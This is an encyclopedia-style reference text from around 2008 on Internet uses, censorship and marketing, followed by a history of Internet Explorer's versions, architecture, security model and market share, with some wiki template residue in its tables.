          Social networking websites such as Facebook and MySpace have created a new form of socialization and interaction. Users of these sites are able to add a wide variety of items to their personal pages, to indicate common interests, and to connect with others. It is also possible to find a large circle of existing acquaintances, especially if a site allows users to utilize their real names, and to allow communication among large existing groups of people.


          Sites like meetup.com exist to allow wider announcement of groups which may exist mainly for face-to-face meetings, but which may have a variety of minor interactions over their group's site at meetup.org, or other similar sites.


          


          Political organization and censorship


          In democratic societies, the Internet has achieved new relevance as a political tool. The presidential campaign of Howard Dean in 2004 in the United States became famous for its ability to generate donations via the Internet. Many political groups use the Internet to achieve a whole new method of organizing, in order to carry out Internet activism.


          Some governments, such as those of Cuba, Iran, North Korea, Myanmar, the People's Republic of China, and Saudi Arabia, restrict what people in their countries can access on the Internet, especially political and religious content. This is accomplished through software that filters domains and content so that they may not be easily accessed or obtained without elaborate circumvention.


          In Norway, Denmark, Finland and Sweden, major Internet service providers have voluntarily (possibly to avoid such an arrangement being turned into law) agreed to restrict access to sites listed by police. While this list of forbidden URLs is only supposed to contain addresses of known child pornography sites, the content of the list is secret.


          Many countries, including the United States, have enacted laws making the possession or distribution of certain material, such as child pornography, illegal, but do not use filtering software.


          There are many free and commercially available software programs with which a user can choose to block offensive websites on individual computers or networks, such as to limit a child's access to pornography or violence. See Content-control software.


          


          Leisure activites


          The Internet has been a major source of leisure since before the World Wide Web, with entertaining social experiments such as MUDs and MOOs being conducted on university servers, and humor-related Usenet groups receiving much of the main traffic. Today, many Internet forums have sections devoted to games and funny videos; short cartoons in the form of Flash movies are also popular. Over 6 million people use blogs or message boards as a means of communication and for the sharing of ideas.


          The pornography and gambling industries have both taken full advantage of the World Wide Web, and often provide a significant source of advertising revenue for other websites. Although many governments have attempted to put restrictions on both industries' use of the Internet, this has generally failed to stop their widespread popularity.


          One main area of leisure on the Internet is multiplayer gaming. This form of leisure creates communities, bringing people of all ages and origins to enjoy the fast-paced world of multiplayer games. These range from MMORPG to first-person shooters, from role-playing games to online gambling. This has revolutionized the way many people interact and spend their free time on the Internet.


          While online gaming has been around since the 1970s, modern modes of online gaming began with services such as GameSpy and MPlayer, to which players of games would typically subscribe. Non-subscribers were limited to certain types of gameplay or certain games.


          Many use the Internet to access and download music, movies and other works for their enjoyment and relaxation. As discussed above, there are paid and unpaid sources for all of these, using centralized servers and distributed peer-to-peer technologies. Discretion is needed as some of these sources take more care over the original artists' rights and over copyright laws than others.


          Many use the World Wide Web to access news, weather and sports reports, to plan and book holidays and to find out more about their random ideas and casual interests.


          People use chat, messaging and e-mail to make and stay in touch with friends worldwide, sometimes in the same way as some previously had pen pals. Social networking websites like MySpace, Facebook and many others like them also put and keep people in contact for their enjoyment.


          The Internet has seen a growing number of Internet operating systems, where users can access their files, folders, and settings via the Internet. An example of an opensource webOS is Eyeos.


          Cyberslacking has become a serious drain on corporate resources; the average UK employee spends 57 minutes a day surfing the Web at work, according to a study by Peninsula Business Services.


          


          Complex architecture


          Many computer scientists see the Internet as a "prime example of a large-scale, highly engineered, yet highly complex system". The Internet is extremely heterogeneous. (For instance, data transfer rates and physical characteristics of connections vary widely.) The Internet exhibits " emergent phenomena" that depend on its large-scale organization. For example, data transfer rates exhibit temporal self-similarity. Further adding to the complexity of the Internet is the ability of more than one computer to use the Internet through only one node, thus creating the possibility for a very deep and hierarchal sub-network that can theoretically be extended infinitely (disregarding the programmatic limitations of the IPv4 protocol). However, since principles of this architecture date back to the 1960s, it might not be a solution best suited to modern needs, and thus the possibility of developing alternative structures is currently being looked into.


          According to a June 2007 article in Discover magazine, the combined weight of all the electrons moved within the Internet in a day is 0.2 millionths of an ounce. Others have estimated this at nearer 2 ounces (50 grams).


          


          Marketing


          The Internet has also become a large market for companies; some of the biggest companies today have grown by taking advantage of the efficient nature of low-cost advertising and commerce through the Internet, also known as e-commerce. It is the fastest way to spread information to a vast number of people simultaneously. The Internet has also subsequently revolutionized shoppingfor example; a person can order a CD online and receive it in the mail within a couple of days, or download it directly in some cases. The Internet has also greatly facilitated personalized marketing which allows a company to market a product to a specific person or a specific group of people more so than any other advertising medium.


          Examples of personalized marketing include online communities such as MySpace, Friendster, Orkut, Facebook and others which thousands of Internet users join to advertise themselves and make friends online. Many of these users are young teens and adolescents ranging from 13 to 25 years old. In turn, when they advertise themselves they advertise interests and hobbies, which online marketing companies can use as information as to what those users will purchase online, and advertise their own companies' products to those users.


          


          The name Internet


          Internet is traditionally written with a capital first letter, as it is a proper noun. The Internet Society, the Internet Engineering Task Force, the Internet Corporation for Assigned Names and Numbers, the World Wide Web Consortium, and several other Internet-related organizations use this convention in their publications.


          Many newspapers, newswires, periodicals, and technical journals capitalize the term (Internet). Examples include The New York Times, the Associated Press, Time, The Times of India, Hindustan Times, and Communications of the ACM.


          Others assert that the first letter should be in lower case (internet), and that the specific article the is sufficient to distinguish "the internet" from other internets. A significant number of publications use this form, including The Economist, the Canadian Broadcasting Corporation, the Financial Times, The Guardian, The Times, and The Sydney Morning Herald. As of 2005, many publications using internet appear to be located outside of North Americaalthough one U.S. news source, Wired News, has adopted the lower-case spelling.


          Historically, Internet and internet have had different meanings, with internet meaning "an interconnected set of distinct networks", and Internet referring to the worldwide, publicly available IP internet. Under this distinction, the Internet is the familiar network through which websites exist; however, an internet can exist between any two remote locations. Any group of distinct networks connected together is an internet; each of these networks may or may not be part of the Internet. The distinction was evident in many RFCs, books, and articles from the 1980s and early 1990s (some of which, such as RFC 1918, refer to "internets" in the plural), but has recently fallen into disuse. Instead, the term intranet is generally used for private networks, whether they are connected to the Internet or not (see also extranet).


          Some people use the lower-case term as a medium (like radio or newspaper, e.g. I've found it on the internet), and first letter capitalized as the global network.
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              Wikipedia's Main Page in Windows Internet Explorer 7 running on Windows Vista.
            


            
              	Developed by

              	Microsoft
            


            
              	Initial release

              	August 1995 (1213 years ago)
            


            
              	Latest release

              	7.0.5730.13 (Windows XP/Windows 2003 Server)

              7.0.6001.18000 (Windows Vista SP1) / 2008
            


            
              	Preview release

              	8.0.6001.17184 (IE8, Beta 1) / March 5, 2008
            


            
              	OS

              	Microsoft Windows

              Mac OS System 7 to Mac OS X (discontinued)

              Solaris and HP-UX (discontinued)
            


            
              	Type

              	Web browser and RSS Reader
            


            
              	License

              	Proprietary EULA
            


            
              	Website

              	microsoft.com/ie
            

          


          Windows Internet Explorer (formerly Microsoft Internet Explorer abbreviated MSIE), commonly abbreviated to IE, is a series of graphical web browsers developed by Microsoft and included as part of the Microsoft Windows line of operating systems starting in 1995. It has been the most widely used web browser since 1999, attaining a peak of about 95% usage share during 2002 and 2003 with IE5 and 6 but steadily declining since, despite the introduction of IE7. Microsoft spent over 100 million dollars (USD) a year in the late 1990s, with over 1000 people working on IE by 1999.


          Internet Explorer was first released as part of the add-on package Plus! for Windows 95. Later versions were available as free downloads, or in service packs, and included in the OEM service releases of Windows 95 and later versions of Windows. The most recent release is version 7.0, which is available as a free update for Windows XP Service Pack 2, and Windows Server 2003 with Service Pack 1 or later, Windows Vista, and Windows Server 2008. An embedded OEM version called Internet Explorer for Windows CE (IE CE) is also available for WinCE based platforms and is currently based on IE6. Another Windows CE/ Windows Mobile browser known as Internet Explorer Mobile is from a different code base and should not be confused with desktop versions of the browser. In early 2008, a beta for the next version Internet Explorer 8 was released to the public.


          


          History


          
            [image: Internet Explorer 3.0.1 For Win3.1 banner]
          


          The Internet Explorer project was started in the summer of 1994 by Thomas Reardon and subsequently led by Benjamin Slivka, leveraging source code from Spyglass, Inc. Mosaic, an early commercial web browser with formal ties to the pioneering NCSA Mosaic browser. In late 1994, Microsoft licensed Spyglass Mosaic for a quarterly fee plus a percentage of Microsoft's non-Windows revenues for the software. Although bearing a name similar to NCSA Mosaic, which was the first widely used web browser, Spyglass Mosaic was relatively unknown in its day and used the NCSA Mosaic source code only sparingly.


          Internet Explorer for Mac and Internet Explorer for UNIX (the latter for use through the X Window System on Solaris and HP-UX), and versions for many older versions of Windows have been discontinued, and are no longer available from Microsoft. Only supported Windows, and Windows Mobile versions remain in active development.


          


          Version 1


          Internet Explorer 1.0, released in August 1995 was a modified version of Spyglass Mosaic. It came with Microsoft Plus! for Windows 95 and OEM release of Windows 95. It was installed as part of the Internet Jumpstart Kit in Plus!.


          Internet Explorer 1.5 was released several months later for Windows NT and added support for basic table rendering. The Internet Explorer team began with about half a dozen people in early development..


          


          Version 2


          Internet Explorer 2.0 was released for Windows 95, Windows NT 3.5, and NT 4.0 in November 1995 (following a 2.0 beta in October). It featured support for SSL, cookies, VRML, RSA, and Internet newsgroups. Version 2 was also the first release for Windows 3.1 and Macintosh System 7.0.1(PPC or 68k), although the Mac version was not released until January 1996 for PPC, and April for 68k. Version 2.1 for the Mac came out in August of 1996, although by this time Windows was getting 3.0. Version 2 was included in Windows 95 OSR 1 and Microsoft's Internet Starter Kit for Windows 95 in early 1996, It launched with twelve languages including English but this expanded to 24, 20, and 9 for Win 95, Win 3.1 and Mac respectively by April 1996. The 2.0i version supported double-byte character-set.


          


          Version 3


          Internet Explorer 3.0, released in August, 1996, was the first widely used version of Internet Explorer. It was the first version developed without Spyglass source code (although still using Spyglass "technology", so the Spyglass licensing information remained in the program's documentation). Internet Explorer 3 was the first major browser with CSS support, although this support was only partial. Released on August 13, 1996, it also introduced support for ActiveX controls, Java applets, inline multimedia, and the PICS system for content metadata. Version 3 also came bundled with Internet Mail and News, NetMeeting, and an early version of the Windows Address Book, and was itself included with Windows 95 OSR 2. Version 3 proved to be the first popular version of Internet Explorer, which brought with it increased scrutiny. In the months following its release, a number of security and privacy vulnerabilities were found by researchers and hackers. This version of Internet Explorer was the first to have the 'blue e' logo. The Internet Explorer team consisted of roughly 100 people during the development of three months.


          


          Version 4


          Internet Explorer 4.0, released in September, 1997 deepened the level of integration between the web browser and the underlying operating system. Installing version 4 on a Windows 95 or Windows NT 4 machine and choosing " Windows Desktop Update" would result in the traditional Windows Explorer being replaced by a version more akin to a web browser interface, as well as the Windows desktop itself being web-enabled via Active Desktop. The integration with Windows, however, was subject to numerous packaging criticisms (see United States v. Microsoft). This option was no longer available with the installers for later versions of Internet Explorer but was not removed from the system if already installed. Internet Explorer 4 introduced support for Group Policy, allowing companies to configure and lock down many aspects of the browser's configuration. Internet Mail and News was replaced with Outlook Express, and Microsoft Chat and an improved NetMeeting were also included. This version also was included with Windows 98.


          Internet Explorer 4.5 dropped support for 68k Macs, but offered new features such as easier 128-bit encryption.


          


          Version 5


          Internet Explorer 5.0, launched on March 18, 1999, and subsequently included with Windows 98 Second Edition and bundled with Office 2000, was another significant release that supported bi-directional text, ruby characters, XML, XSL and the ability to save web pages in MHTML format. IE5 was bundled with Outlook Express 5. Also, with the release of Internet Explorer 5.0, Microsoft released the first version of XMLHttpRequest, giving birth to Ajax (even though the term "Ajax" wasn't coined until years later.) It was the last with a 16-bit version.


          Internet Explorer 5.01, a bug fix version, was released in December 1999. Windows 2000 includes this version.


          Internet Explorer 5.5 followed in July 2000, improving its print preview capabilities, CSS and HTML standards support, and developer APIs; this version was bundled with Windows Me. Version 5.5 also included support for 128-bit encryption. However, Version 5 was the last version for Mac and UNIX. Version 5.5 was the last to have Compatibility Mode, which allowed Internet Explorer 4 to be run side by side with the 5.x. The IE team consisted of over 1000 people by 1999, with funding on the order of 100 million USD per year.


          


          Version 6


          Internet Explorer 6.0 was released on August 27, 2001, a few months before Windows XP. This version included DHTML enhancements, content restricted inline frames, and partial support of CSS level 1, DOM level 1 and SMIL 2.0. The MSXML engine was also updated to version 3.0. Other new features included a new version of the Internet Explorer Administration Kit (IEAK), Media bar, Windows Messenger integration, fault collection, automatic image resizing, P3P, and a new look-and-feel that was in line with the "Luna" visual style of Windows XP, when used in Windows XP.


          Internet Explorer 6.0 SP1 offered several security enhancements and coincided with XP SP1 patch release. In 2002, the Gopher protocol was disabled and support for it was dropped in Internet Explorer 7.


          Internet Explorer 6.0 SV1 ('6 SP2') came out August 6, 2004 for Windows XP SP2 and offered various security enhancements and new colour buttons on the user interface. IE6 updated the original 'blue e' logo to a lighter blue and more 3-d look.


          


          Version 7


          Internet Explorer 7 was released on October 18, 2006. It includes bug fixes, enhancements to its support for web standards, tabbed browsing with tab preview and management, a multiple-engine search box, a web feeds reader, Internationalized Domain Name support (IDN), and antiphishing filter. With IE7, Internet Explorer has been decoupled from the Windows Shell - unlike previous versions, the Internet Explorer ActiveX control is not hosted in the Windows Explorer process, but rather runs in a separate Internet Explorer process. It is included with Windows Vista and Windows Server 2008, and is available for Windows XP Service Pack 2 and later, and Windows Server 2003 Service Pack 1 and later.


          The original release of Internet Explorer 7 required the computer to pass a Windows Genuine Advantage validation check prior to installing, but on October 5, 2007, Microsoft removed this requirement. As some statistics show, by mid-2008, Internet Explorer 7 exceeded Internet Explorer 6 in number of users.


          


          Version 8


          


          Internet Explorer 8.0 is the latest version of Internet Explorer and has been in development since August 2007 at the latest. On March 5, 2008, the first public beta (Beta 1) was released to the general public. It supports Windows XP SP2 and SP3, Windows Server 2003 SP2, Windows Vista and Windows Server 2008 on both 32-bit as well as 64-bit architectures.


          Security, ease of use, and improvements in RSS, CSS, and Ajax support are Microsoft's priorities for IE8. It includes much stricter compliance with web standards, including a planned full Cascading Style Sheets 2.1 compliance for the release version. All these changes allow Internet Explorer 8 to pass the Acid2 test. However, to prevent compatibility issues, IE8 also includes the IE7 rendering behaviour. Sites that expect IE7 quirks can disable the IE8's breaking changes by including a meta element.


          IE8 also includes numerous improvements to JavaScript support as well as performance improvements. It includes support for Activities - which allow supported web applications to be invoked without explicitly navigating to them - and WebSlices - which allows portions of page to be subscribed to and monitored from a redesigned Favorites Bar. An enhanced phishing filter (now called Safety filter) blocks access to sites known to contain malware.


          


          Features


          Internet Explorer has been designed to view a broad range of web pages and to provide certain features within the operating system, including Microsoft Update. During the heyday of the historic browser wars, Internet Explorer superseded Netscape only when it caught up technologically to support the progressive features of the time.


          


          Standards support


          Internet Explorer, using the Trident layout engine, almost fully supports HTML 4.01, CSS Level 1, XML 1.0 and DOM Level 1, with minor implementation gaps. It partially supports CSS Level 2 and DOM Level 2, with major implementation gaps and conformance issues. Full conformance to the CSS 2.1 specification is on the agenda for the final Internet Explorer 8 release. It has no support for XHTML, though it can render XHTML documents authored with HTML compatibility principles and served with a text/html MIME-type.


          Internet Explorer uses DOCTYPE sniffing to choose between " quirks mode" (renders similarly to older versions of MSIE) and standards mode (renders closer to W3C's specifications) for HTML and CSS rendering on screen (for printing Internet Explorer always uses standards mode). It also provides its own dialect of ECMAScript called JScript.


          It fully supports XSLT 1.0 as well as an obsolete Microsoft dialect of XSLT often referred to as WD-xsl, which was loosely based on the December 1998 W3C Working Draft of XSL. Support for XSLT 2.0 lies in the future: semi-official Microsoft bloggers have indicated that development is underway, but no dates have been announced.


          Internet Explorer has been subjected to criticism over its limited support for open web standards and a major goal of Internet Explorer 8 is to improve support for such standards.


          


          Proprietary features


          Internet Explorer has introduced an array of proprietary extensions to many of the standards, including HTML, CSS and the DOM. This has resulted in a number of web pages that can only be viewed properly using Internet Explorer.


          Internet Explorer has introduced a number of extensions to JScript which have been adopted by other browsers. These include the innerHTML property, which returns the HTML string within an element; the XMLHttpRequest object, which allows the sending of HTTP request and receiving of HTTP response; and the designMode attribute of the contentDocument object, which enables rich text editing of HTML documents. Some of these functionalities were not possible until the introduction of the W3C DOM methods. Its Ruby character extension to HTML is also accepted as a module in W3C XHTML 1.1, though it is not found in all versions of W3C HTML.


          The favicon (short for "favorites icon") introduced by Internet Explorer is now also supported and extended in other browsers. It allows web pages to specify a 16-by-16 pixel image for use in bookmarks. Originally, support was provided only for the native Windows ICO format, however it has now been extended to other types of images such as PNG and GIF.


          Microsoft submitted several other features of IE for consideration by the W3C for standardization. These include the 'behaviour' CSS property, which connects the HTML elements with JScript behaviors (known as HTML Components, HTC); HTML+TIME profile, which adds timing and media synchronization support to HTML documents (similar to the W3C XHTML+SMIL); and the VML vector graphics file format. However, all were rejected, at least in their original forms. VML was, however, subsequently combined with PGML (proposed by Adobe and Sun), resulting in the W3C-approved SVG format, currently one of the few vector image formats being used on the web.


          Other proprietary standards include:


          
            	Support for vertical text, but in a syntax different from W3C CSS3 candidate recommendation.


            	Support for a variety of image effects and page transitions, which are not found in W3C CSS.


            	Support for obfuscated script code, in particular JScript.Encode().


            	Support for embedding EOT fonts in web pages.

          


          


          Usability and accessibility


          


          Internet Explorer makes use of the accessibility framework provided in Windows. Internet Explorer is also a user interface for FTP, with operations similar to that of Windows Explorer (although this feature requires a shell window to be opened in recent versions of the browser, rather than natively within the browser). Visual Basic for Applications (VBA) is not supported, but available via extension (iMacros). Recent versions feature pop-up blocking and tabbed browsing. Tabbed browsing can also be added to older versions by installing Microsoft's MSN Search Toolbar or Yahoo's Yahoo Toolbar.


          


          Cache


          Internet Explorer caches visited content in the Temporary Internet Files folder to allow quicker access (or offline access) to previously visited pages. The content is indexed in a database file, known as Index.dat. Multiple Index.dat files exist which index different content - visited content, web feeds, autocomplete entries, visited URLs, cookies etc.


          Prior to IE7, clearing the cache used to clear the index but the files themselves were not removed. This feature can be a potential security risk for both individuals and companies. IE7 on, both the entries as well as the files themselves are removed.


          


          Security


          Internet Explorer uses a zone-based security framework that groups sites based on certain conditions, including whether it is an Internet- or intranet-based site as well as a user-editable whitelist. Security restrictions are applied per zone; all the sites in a zone are subject to the restrictions.


          Internet Explorer 6 SP2 onwards uses the Attachment Execution Service of Microsoft Windows to mark executable files downloaded from the Internet as being potentially unsafe. Accessing files marked as such will prompt the user to make an explicit trust decision to execute the file, as executables originating from the Internet can be potentially unsafe. This helps in preventing accidental installation of malware.


          Internet Explorer 7 introduced the phishing filter, that restricts access to phishing sites unless the user overrides the decision. With version 8, it also blocks access to sites known to host malware. Downloads are also checked to see if they are known to be malware-infected.


          In Windows Vista, Internet Explorer can optionally run in what is called Protected Mode, where the privileges of the browser itself is severely restricted - it cannot make any system-wide changes. This also effectively restricts the privileges of any add-ons. As a result, even if the browser or any add-on is compromised, the damage the security breach can cause is limited.


          Patches and updates to the browser are released periodically and made available through the Windows Update service, as well as through Automatic Updates. Although security patches continue to be released for a range of platforms, most recent feature additions and security improvements are released for Windows XP only.


          


          Group Policy


          Internet Explorer is fully configurable using Group Policy. Administrators of Windows Server domains can apply and enforce a variety of settings that affect the user interface (such as disabling menu items and individual configuration options), as well as underlying security features such as downloading of files, zone configuration, per-site settings, ActiveX control behaviour, and others. Policy settings can be configured for each user and for each machine. Internet Explorer also supports Integrated Windows Authentication.


          


          Architecture
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          Internet Explorer uses a componentized architecture built around the Component Object Model (COM) technology. It is made up of five major components, each of which are contained in a separate .dll and expose a set of COM interface that enables them to be hosted by the Internet Explorer main executable, iexplore.exe:


          
            	WinInet.dll


            	WinInet.dll is the protocol handler for HTTP and FTP. It handles all network communication over these protocols.


            	URlMon.dll


            	URLMon.dll is responsible for MIME-type handling and download of web content.


            	MSHTML.dll


            	MSHTML.dll houses the Trident rendering engine introduced in Internet Explorer 4, which is responsible for displaying the pages on-screen and handling the Document Object Model of the web pages. MSHTML.dll parses the HTML/CSS file and creates the internal DOM tree representation of it. It also exposes a set of APIs for runtime inspection and modification of the DOM tree. The DOM tree is further processed by a layout engine which then renders the internal representation on screen.


            	Internet Explorer does not include any scripting functionality natively. Rather MSHTML.dll exposes another set of APIs that allow any scripting environment to be plugged-in and access the DOM tree. Internet Explorer 8 includes the bindings for the Active Scripting engine (which is a part of Microsoft Windows) is provided, which allows any language implemented as an Active Scripting module to be used for client-side scripting. By default, only the JScript and VBScript modules are provided; third party implementations like ScreamingMonkey (for ECMAScript 4 support) can also be used. Microsoft also makes available the Microsoft Silverlight runtime that allows CLI languages, including DLR-based dynamic languages like IronPython and IronRuby, to be used for client-side scripting.


            	ShDocVw.dll


            	ShDocVw.dll provides the navigation, local caching and history functionalities for the browser.


            	BrowseUI.dll


            	BrowseUI.dll is responsible for the browser user interface, including the browser chrome, which houses all the menus and toolbars.

          


          Internet Explorer 8 introduces some major architectural changes, called Loosely Coupled IE (LCIE). LCIE separates the UI processes from the process hosting the different web applications in different tabs (tab processes). An UI process can create multiple tab processes, each of which can be of a different integrity level; each tab process can host multiple web sites. Each tab process has its own cookie cache. The two processes use asynchronous Inter-Process Communication to synchronize themselves. Generally, there will be a single tab process for all web sites. In Windows Vista with protected mode turned on, however, opening privileged content (such as local HTML pages) will create a new tab process as it will not be constrained by protected mode of operation.


          


          Extensibility


          Internet Explorer also exposes a set of Component Object Model (COM) interfaces that allow other components to extend the functionality of the browser. Extensibility is divided into two types: Browser extensibility and Content extensibility. The browser extensibility interfaces can be used to plug in components to add context menu entries, toolbars, menu items or Browser Helper Objects (BHO). BHOs are used to extend the feature set of the browser, whereas the other extensibility options are used to expose the feature in the UI. Content extensibility interfaces are used by different content-type handlers to add support for non-native content formats. BHOs not only have unrestricted access to the Internet Explorer DOM and event model, they also can access the filesystem, registry and other OS components. Content extensibility can be either in terms of Active Documents (Doc Objects) (e.g., SVG or MathML) or ActiveX controls. ActiveX controls are used for content handlers that render content embedded within an HTML page (e.g., Adobe Flash or Microsoft Silverlight). Doc objects are used when the content type won't be embedded in HTML (e.g., Microsoft Word, PDF or XPS). In fact, the Trident rendering engine itself exposed as a Doc object, so HTML in itself is treated as an Active Document.


          


          Interner Explorer add-on components run with the same privileges as the browser itself, unlike client-side scripts that have a very limited set of privileges. Add-ons can be installed either locally, or directly by a web site. Since the add-ons have a more privileged access to the system, malicious add-ons can and have been used to compromise the security of the system. Internet Explorer 6 Service Pack 2 onwards provide various safeguards against this, including an Add-on Manager for controlling ActiveX controls and Browser Helper Objects and a "No Add-Ons" mode of operation as well as greater restrictions on sites installing add-ons.


          Internet Explorer itself can be hosted by other applications via a set of COM interfaces. This can be used to embed the browser functionality inside the application. Also, the hosting application can choose to host only the MSHTML.dll rendering engine, rather than the entire browser.


          


          Security vulnerabilities


          Internet Explorer has been subjected to many security vulnerabilities and concerns: Much of the spyware, adware, and computer viruses across the Internet are made possible by exploitable bugs and flaws in the security architecture of Internet Explorer, sometimes requiring nothing more than viewing of a malicious web page in order to install themselves. This is known as a " drive-by install". There are also attempts to trick the user into installing malicious software by misrepresenting the software's true purpose in the description section of an ActiveX security alert.
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          A number of security flaws affecting IE originated not in the browser itself, but ActiveX-based add-ons used by it. Because the add-ons have the same privilege as IE, the flaws can be as critical as browser flaws. This has led to the ActiveX-based architecture being criticized for being fault-prone. More recently, other experts have maintained that the dangers of ActiveX have been overstated and there are safeguards in place. Other browsers that use NPAPI as their extensibility mechanism are suffering the same problems. In an April 2005 eWeek opinions column, Larry Seltzer stated:


          
            While there has been a striking lack of actual evidence that ActiveX is unsafe, there has been no shortage of baseless assertions and cheap shots against it. My favorite was the "Internet Exploder" incident in which Sun actually paid someone to write a malicious ActiveX control. The test system brought up all the warning dialogs about the program that you usually get and the Sun employee actually had the nerve to keep whacking on the enter key quickly so they would close as quickly as possible and didn't mention that there were any such warnings. Meanwhile, they also didn't mention that a signed Java applet could also perform dangerous privileged operations and would provide similar warnings. Most ActiveX criticism is simply uninformed, but this example was hypocritical and dishonest.

          


          While Internet Explorer is not alone in having exploitable vulnerabilities, its ubiquity has resulted in many more affected computers when vulnerabilities are found. Microsoft has not responded as quickly as competitors in fixing security holes and making patches available, in some cases giving malicious web site operators months to exploit them before Microsoft releases a patch.


          


          Market adoption


          


          Usage Share


          
            
              Browser Market Share in June 2008
            

            
              	Internet Explorer, All Versions

              	73.01%
            


            
              	Internet Explorer 4

              	0.01%
            


            
              	Internet Explorer 5.0

              	0.07%
            


            
              	Internet Explorer 5.5

              	0.07%
            


            
              	Internet Explorer 6

              	26.38%
            


            
              	Internet Explorer 7

              	46.45%
            


            
              	Internet Explorer 8

              	0.03%
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          The adoption rate of Internet Explorer seems to be closely related to that of Microsoft Windows, as it is the default web browser that comes with Windows. Since the integration of Internet Explorer 2.0 with Windows 95 OSR 1 in 1996, and especially after version 4.0's release, the adoption was greatly accelerated: from below 20% in 1996 to about 40% in 1998 and over 80% in 2000. This effect, however, has recently been dubbed the "Microsoft monoculture", by analogy to the problems associated with lack of biodiversity in an ecosystem. By 2002, Internet Explorer had almost completely superseded its main rival Netscape and dominated the market.


          A CNN article noted at the release of Internet Explorer 4, "Microsoft's Internet Explorer has made inroads and various estimates put its share of the browser market 30 to 35 percent from about 10 percent a year ago."


          After having fought and won the browser wars of the late 1990s, Internet Explorer began to see its usage share shrink. Having attained a peak of about 95% during 2002 and 2003, it has since been in a slow, steady decline, due to the adoption of Mozilla Firefox, which statistics indicate is currently the most significant competition. Nevertheless, Internet Explorer remains the dominant web browser, with a global usage share of around 75% (though measurements vary). Usage is higher in Asia and lower in Europe.


          Firefox 1.0 had surpassed Internet Explorer 5 in early 2005 with Firefox 1.0 at roughly 8 percent market share. An article notes at the release of Internet Explorer 7 in October 2006, "IE6 had the lion's share of the browser market with 77.22%. Internet Explorer 7 had climbed to 3.18%, while Firefox 2.0 was at 0.69%." Internet Explorer 7 was released at the same time as Firefox 2.0, and overtook Firefox 1.x by November 2006, at roughly 9% market share. Firefox 2.0 had overtaken 1.x by January 2007, , but IE7 did not surpass IE6 until December 2007. By January 2008, their respective version market share stood at 43% IE7, 32% IE6, 16% FF2, 4% SF 3, and both FF1.x and IE5 versions at less than half a percent.


          


          Market share by year and version


          Approximate usage over time based on various usage share counters averaged for the year overall, or for the fourth quarter, or for the last month in the year depending on availability of reference.


          
            
              	

              	Total

              	IE8

              	IE7

              	IE6

              	IE5

              	IE4

              	IE3

              	IE2

              	IE1
            


            
              	2007

              	sm=n 78.6% ▼

              	sm=n -

              	sm=n 45.5% ▲

              	sm=n 32.64% ▼

              	sm=n 0.45% ▼

              	sm=n 0.01% ▼

              	sm=n 0%

              	sm=n 0%

              	sm=n 0%
            


            
              	2006

              	sm=n 83.3% ▼

              	sm=n -

              	sm=n 3.49% ▲

              	sm=n 78.08% ▼

              	sm=n 1.42% ▼

              	sm=n 0.02% ▼

              	sm=n 0%

              	sm=n 0%

              	sm=n 0%
            


            
              	2005

              	sm=n 87.12% ▼

              	sm=n -

              	sm=n -

              	sm=n 82.71% ▼

              	sm=n 4.35% ▼

              	sm=n 0.06% ▼

              	sm=n 0%

              	sm=n 0%

              	sm=n 0%
            


            
              	2004

              	sm=n 91.27% ▼

              	sm=n -

              	sm=n -

              	sm=n 83.39% ▲

              	sm=n 7.77sm=n% ▼

              	sm=n 0.10% ▼

              	sm=n 0%

              	sm=n 0%

              	sm=n 0%
            


            
              	2003

              	sm=n 94.43% ▲

              	sm=n -

              	sm=n -

              	sm=n 59% ▲

              	sm=n sm=n34% ▼

              	sm=n 1% ▼

              	sm=n 0%

              	sm=n 0%

              	sm=n 0%
            


            
              	2002

              	sm=n 93.94% ▲

              	sm=n -

              	sm=n -

              	sm=n 50% ▲

              	sm=n sm=n41% ▼

              	sm=n 1% ▼

              	sm=n 0%

              	sm=n 0%

              	sm=n 0%
            


            
              	2001

              	sm=n 90.83% ▲

              	sm=n -

              	sm=n -

              	sm=n 19% ▲

              	sm=n sm=n68sm=n%sm=n ▼

              	sm=n 5.0% ▼

              	sm=n 0%

              	sm=n 0%

              	sm=n 0%
            


            
              	2000

              	sm=n 83.95% ▲

              	sm=n -

              	sm=n -

              	sm=n -

              	sm=n sm=n71% ▲

              	sm=n sm=n13% ▼

              	sm=n 0%

              	sm=n 0%

              	sm=n 0%
            


            
              	1999

              	sm=n 75.31% ▲

              	sm=n -

              	sm=n -

              	sm=n -

              	sm=n sm=n41% ▲

              	sm=n sm=n36% ▼

              	sm=n 1%

              	sm=n 0%

              	sm=n 0%
            


            
              	1998

              	sm=n 45% ▲

              	sm=n -

              	sm=n -

              	sm=n -

              	sm=n -

              	sm=n ? ▲

              	sm=n ?

              	sm=n ?

              	sm=n ?
            


            
              	1997

              	sm=n 39.4% ▲

              	sm=n -

              	sm=n -

              	sm=n -

              	sm=n -

              	sm=n ? ▲

              	sm=n ?

              	sm=n ?

              	sm=n ?
            


            
              	1996

              	sm=n 20% ▲

              	sm=n -

              	sm=n -

              	sm=n -

              	sm=n -

              	sm=n -

              	sm=n ?

              	sm=n ?

              	sm=n ?
            


            
              	1995

              	sm=n 2.9% ▲

              	sm=n -

              	sm=n -

              	sm=n -

              	sm=n -

              	sm=n -

              	sm=n -

              	sm=n ?

              	sm=n ?
            

          


          


          Industry adoption


          The proprietary extension mechanism ActiveX is used by many public websites and web applications, including eBay. Similarly, Browser Helper Objects are also used by many search engine companies and third parties for creating add-ons that access their services, such as search engine toolbars. Because of the use of COM, it is possible to embed web-browsing functionality in third-party applications. Hence, there are a number of Internet Explorer shells, and a number of content-centric applications like RealPlayer also use Internet Explorer's web browsing module for viewing web pages within the applications.


          


          OS compatibility


          IE versions, over time, have had widely varying OS compatibility, ranging from being available for many platforms and several versions of Windows to just a couple versions of Windows. Many versions of IE had some support for an older OS but stopped getting updates. The increased growth of the Internet in the 1990s and 2000s means that current browsers with small market shares have more total users than the entire market early on. For example, 90% market share in 1997 would be roughly 60 million users, but by the start of 2007 90% market share would equate to over 900 million users. The result is that later versions of IE6 had many more users in total than all the early versions put together.


          The release of IE7 at the end of 2006 resulted in a collapse of IE6 market share; by February 2007 market version share statistics showed IE6 at about 50% and IE7 at 29%. Regardless of the actual market share, the most compatible version (across operating systems) of IE was 5.x, which had Mac OS 9 and Mac OS X, Unix, and most Windows versions available and supported for a short period in the late 1990s (although 4.x had a more unified codebase across versions) By 2007, IE had much narrower OS support, with the latest versions supporting only Windows XP Service Pack 2 and above.


          


          
            
              	

              	Years

              	Layout engine

              	Microsoft Windows

              	IBM OS/2

              	Apple Inc. Macintosh

              	Unix (HP-UX, Solaris)
            


            
              	Vista, WS 08

              	WS 03

              	XP

              	Me

              	2000

              	98

              	NT 4.0

              	95

